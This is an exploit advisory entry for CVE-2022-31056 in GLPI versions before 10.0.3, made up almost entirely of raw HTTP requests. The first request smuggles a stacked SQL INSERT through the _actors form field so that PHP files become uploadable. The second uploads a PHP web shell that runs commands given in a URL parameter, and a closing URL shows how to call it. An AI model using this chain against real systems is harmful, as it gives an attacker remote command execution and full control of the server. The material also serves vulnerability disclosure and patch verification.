GLPI v10.0.2 – SQL Injection (Authentication Depends on Configuration)
# ADVISORY INFORMATION # Exploit Title: GLPI v10.0.2 - SQL Injection (Authentication Depends on Configuration) # Date of found: 11 Jun 2022 # Application: GLPI >=10.0.0, < 10.0.3 # Author: Nuri Çilengir # Vendor Homepage: https://glpi-project.org/ # Software Link: https://github.com/glpi-project/glpi # Advisory: https://pentest.blog/advisory-glpi-service-management-software-sql-injection-remote-code-execution-and-local-file-inclusion/ # Tested on: Ubuntu 22.04 # CVE: CVE-2022-31056 # PoC POST /front/change.form.php HTTP/1.1 Host: acme.com User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:100.0) Gecko/20100101 Firefox/100.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Content-Type: multipart/form-data; boundary=---------------------------190705055020145329172298897156 Content-Length: 4836 Cookie: glpi_8ac3914e6055f1dc4d1023c9bbf5ce82_rememberme=%5B2%2C%22wSQx0155YofQ n53WMozDGuSI1p2KAzxZ392stmrX%22%5D; glpi_8ac3914e6055f1dc4d1023c9bbf5ce82=f3cciacap6rqs2bcoaio5lmikg -----------------------------190705055020145329172298897156 Content-Disposition: form-data; name="id" 0 -----------------------------190705055020145329172298897156 Content-Disposition: form-data; name="_glpi_csrf_token" 752d2ff606bf360d809b682f0d9da9c23b290b31453f493f4924e16e77bbba35 -----------------------------190705055020145329172298897156 Content-Disposition: form-data; name="_actors" {"requester":[],"observer":[],"assign":[{"itemtype":"User","items_id":"2','2',); INSERT INTO `glpi_documenttypes` (`name`, `ext`, `icon`, `mime`, `is_uploadable`) VALUES('PHP', 'php', 'jpg-dist.png', 'application/x-php', 1); ---'","use_notification":"1","alternative_email":""}]} -----------------------------190705055020145329172298897156-- If you manipulate the filename uploaded to the system, the file is placed under /files/_tmp/. HTTP GET request required to trigger the issue is as follows. POST /ajax/fileupload.php HTTP/1.1 Host: 192.168.56.113 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:100.0) Gecko/20100101 Firefox/100.0 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate X-Glpi-Csrf-Token: bb1c7f6cd4c1865838b234b4f703172a57c19c276d11eb322936d770d75c6dd7 X-Requested-With: XMLHttpRequest Content-Type: multipart/form-data; boundary=---------------------------102822935214007887302871396841 Content-Length: 559 Origin: http://acme.com Cookie: glpi_8ac3914e6055f1dc4d1023c9bbf5ce82_rememberme=%5B2%2C%22wSQx0155YofQn53WMozDGuSI1p2KAzxZ392stmrX%22%5D; glpi_8ac3914e6055f1dc4d1023c9bbf5ce82=f3cciacap6rqs2bcoaio5lmikg -----------------------------102822935214007887302871396841 Content-Disposition: form-data; name="name" _uploader_filename -----------------------------102822935214007887302871396841 Content-Disposition: form-data; name="showfilesize" 1 -----------------------------102822935214007887302871396841 Content-Disposition: form-data; name="_uploader_filename[]"; filename="test.php" Content-Type: application/x-php Output: <?php echo system($_GET['cmd']); ?> -----------------------------102822935214007887302871396841-- # POC URL http://192.168.56.113/files/_tmp/poc.php?cmd= |